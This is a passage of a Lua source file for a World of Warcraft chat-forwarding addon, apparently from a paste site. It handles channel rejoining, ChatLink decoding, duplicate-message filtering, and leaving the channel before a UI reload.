  640.         return;
  641.     end
  642.     for i=1, #CHAT_CONFIG_CHANNEL_LIST do
  643.         if(CHAT_CONFIG_CHANNEL_LIST[i].channelName==TFW_CHANNEL_NAME) then
  644.             CHAT_CONFIG_CHANNEL_LIST[i].checked=TFW_CHAT_LIST[FCF_GetCurrentChatFrame():GetID()]
  645.             break;
  646.         end
  647.     end
  648. end)
  649.  
  650. frame:SetScript("OnUpdate", function(self, elapsed)
  651.     if(z2) then
  652.         z2 = z2 - elapsed; if z2<=0 then z2=nil end
  653.     end
  654.    
  655.     if(frame.ENTERING) then
  656.         frame.ENTERING = frame.ENTERING - elapsed;
  657.         if(frame.ENTERING <= 0) then
  658.             --init when reload.
  659.             JoinChannel();
  660.             frame.ENTERING = false
  661.         end
  662.     end
  663.  
  664.     if(kicked) then
  665.         kicked = kicked - elapsed;
  666.         if(kicked <=0) then
  667.             JoinChannel();
  668.             kicked = nil;
  669.         end
  670.     end
  671.    
  672. end)
  673. frame:SetScript("OnEvent", LFW_OnEvent)
  674.  
  675. --ChatLink fix, ChatLink_Compose is no longer useful in 3.3, so we hack it
  676. if(ChatLink_Compose) then
  677.     ChatLink_Compose = function(chatstring) return chatstring end
  678. end
  679. --Decompose ChatLink messages if there is no ChatLink installed.
  680. if(not ChatLink_Decompose) then
  681.     ChatLink_Decompose = function(chatstring)
  682.         if chatstring then
  683.             chatstring = string.gsub (chatstring, "{CLINK:item:(%x+):(%-?%d-:%-?%d-:%-?%d-:%-?%d-:%-?%d-:%-?%d-:%-?%d-:%-?%d-:%-?%d-):([^}]-)}", "|c%1|Hitem:%2|h[%3]|h|r")
  684.             chatstring = string.gsub (chatstring, "{CLINK:enchant:(%x+):(%-?%d-):([^}]-)}", "|c%1|Henchant:%2|h[%3]|h|r")
  685.             chatstring = string.gsub (chatstring, "{CLINK:quest:(%x+):(%-?%d-):(%-?%d-):([^}]-)}", "|c%1|Hquest:%2:%3|h[%4]|h|r")
  686.             chatstring = string.gsub (chatstring, "{CLINK:spell:(%x+):(%-?%d-):([^}]-)}", "|c%1|Hspell:%2|h[%3]|h|r")
  687.             chatstring = string.gsub (chatstring, "{CLINK:talent:(%x+):(%-?%d-:%-?%d-):([^}]-)}", "|c%1|Htalent:%2|h[%3]|h|r")
  688.             chatstring = string.gsub (chatstring, "{CLINK:achievement:(%x+):(%-?%d-:%x-:%-?%d-:%-?%d-:%-?%d-:%-?%d-:%-?%d-:%-?%d-:%-?%d-:%-?%d-):([^}]-)}", "|c%1|Hachievement:%2|h[%3]|h|r")
  689.             chatstring = string.gsub (chatstring, "{CLINK:trade:(%x+):(%-?%d-:%-?%d-:%-?%d-:%x-:[^}:]-):([^}]-)}","|c%1|Htrade:%2|h[%3]|h|r")
  690.             -- For backward compatibility with older item links.
  691.             chatstring = string.gsub (chatstring, "{CLINK:(%x+):(%-?%d-:%-?%d-:%-?%d-:%-?%d-:%-?%d-:%-?%d-:%-?%d-:%-?%d-:%-?%d-):([^}]-)}", "|c%1|Hitem:%2|h[%3]|h|r")
  692.             -- Forward compatibility, for future clink structure changes.
  693.             chatstring = string.gsub (chatstring, "{CLINK(%d):%[?([^:}%]]-)%]?:([^:}]-)[^}]-}", "%2")
  694.         end
  695.         return chatstring
  696.     end
  697. end
  698.  
  699. local cache_forwarding = {}
  700. function TFW_FilterForwarding(message, sender)
  701.     local TFW_FORWARDING_MIN = 30
  702.     local cache = cache_forwarding
  703.     local now = time()-TFW_FORWARDING_MIN
  704.     for i=1,#cache do
  705.         local v = cache[i]
  706.         if v.time < now then
  707.             for j=i,#cache do table.remove(cache, i) end
  708.             break
  709.         end
  710.        
  711.         if v.sender==sender and v.msg==message then
  712.             --ChatFrame1:AddMessage("UNSEND: "..sender.." : "..message, 0.5, 0.5, 0.5)
  713.             return true
  714.         end
  715.     end
  716.  
  717.     table.insert(cache, 1, { ["msg"]=message, ["sender"]=sender, ["time"]=now+TFW_FORWARDING_MIN, })
  718. end
  719.  
  720. local cache_incoming = {}
  721. TFW_INCOMING_MIN = 45
  722. function TFW_FilterIncoming(self, event, ...)
  723.     local message, sender, language, channelString, target, flags, channelIdx, channelNumber, channelName, _, counter, guid = ...
  724.     if LFW_FilterIncoming and channelName~=TFW_CHANNEL_NAME then return end
  725.     if channelName==TFW_CHANNEL_NAME and (message:sub(1,4)=="^LFW" or strfind(message, LFW_PATTERN_R)) then return true end
  726.     if sender == UnitName("player") then return end
  727.     --if IgnoredChannel(channelName) then return end
  728.     local cache = cache_incoming
  729.     local now = time()-TFW_INCOMING_MIN
  730.  
  731. --[[
  732.     --this is used to avoid unseeing a multi-channel-casting message, because it is first passed in a frame that you are not watch, and then filtered in the frames you are watching.
  733.     --and this cause problems with WIM, so now is deleted.
  734.     if channelName~=TFW_CHANNEL_NAME then --only get here when show = true.
  735.         local channelLength = strlen(channelString);
  736.         local found = 0;
  737.         for index, value in pairs(self.channelList or {}) do
  738.             if ( channelLength > strlen(value) ) then
  739.                 -- arg9 is the channel name without the number in front...
  740.                 if ( ((channelIdx > 0) and (self.zoneChannelList[index] == channelIdx)) or (strupper(value) == strupper(channelName)) ) then
  741.                     found = 1;
  742.                     info = ChatTypeInfo["CHANNEL"..channelNumber];
  743.                     break;
  744.                 end
  745.             end
  746.         end
  747.         if ( (found == 0) or not info ) then
  748.             return true;
  749.         end
  750.     end
  751. ]]
  752.    
  753.     for i=1,#cache do
  754.         local v = cache[i]
  755.         if v.time < now then
  756.             for j=i,#cache do table.remove(cache, i) end
  757.             break
  758.         end
  759.  
  760.         if v.sender==sender and v.msg==message and v.id==self:GetID() and v.counter~=counter then
  761.             --self:AddMessage("FILTERED: "..sender.." : "..message, 0.5, 0.5, 0.5)
  762.             return true
  763.         end
  764.     end
  765.  
  766.     table.insert(cache, 1, { ["id"]=self:GetID(), ["msg"]=message, ["sender"]=sender, ["counter"]=counter, ["time"]=now+TFW_INCOMING_MIN, })
  767. end
  768.  
  769. ChatFrame_AddMessageEventFilter("CHAT_MSG_CHANNEL", TFW_FilterIncoming);
  770.  
  771. if AshChat then hooksecurefunc(AshChat, "VARIABLES_LOADED", function() for i = 1, 7 do frame = _G["ChatFrame"..i] frame.AddMessage = AshChat.hooks[frame].AddMessage end end) end
  772.  
  773. local OriginReloadUI = ReloadUI
  774. local addonName = ...
  775. local function BeforeReload()
  776.     local _, _, _, enabled = GetAddOnInfo(addonName);
  777.     if not enabled then
  778.         SlashCmdList["TFW"]("leave!!");
  779.     end
  780. end
  781. function ReloadUI()
  782.     BeforeReload();
  783.     OriginReloadUI();
  784. end
  785.  
  786. local OriginConsoleExec = ConsoleExec
  787. function ConsoleExec(cmd, ...)
  788.     if cmd and cmd:lower()=="reloadui" then
  789.         BeforeReload();
  790.     end
  791.     OriginConsoleExec(cmd, ...);
  792. end
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement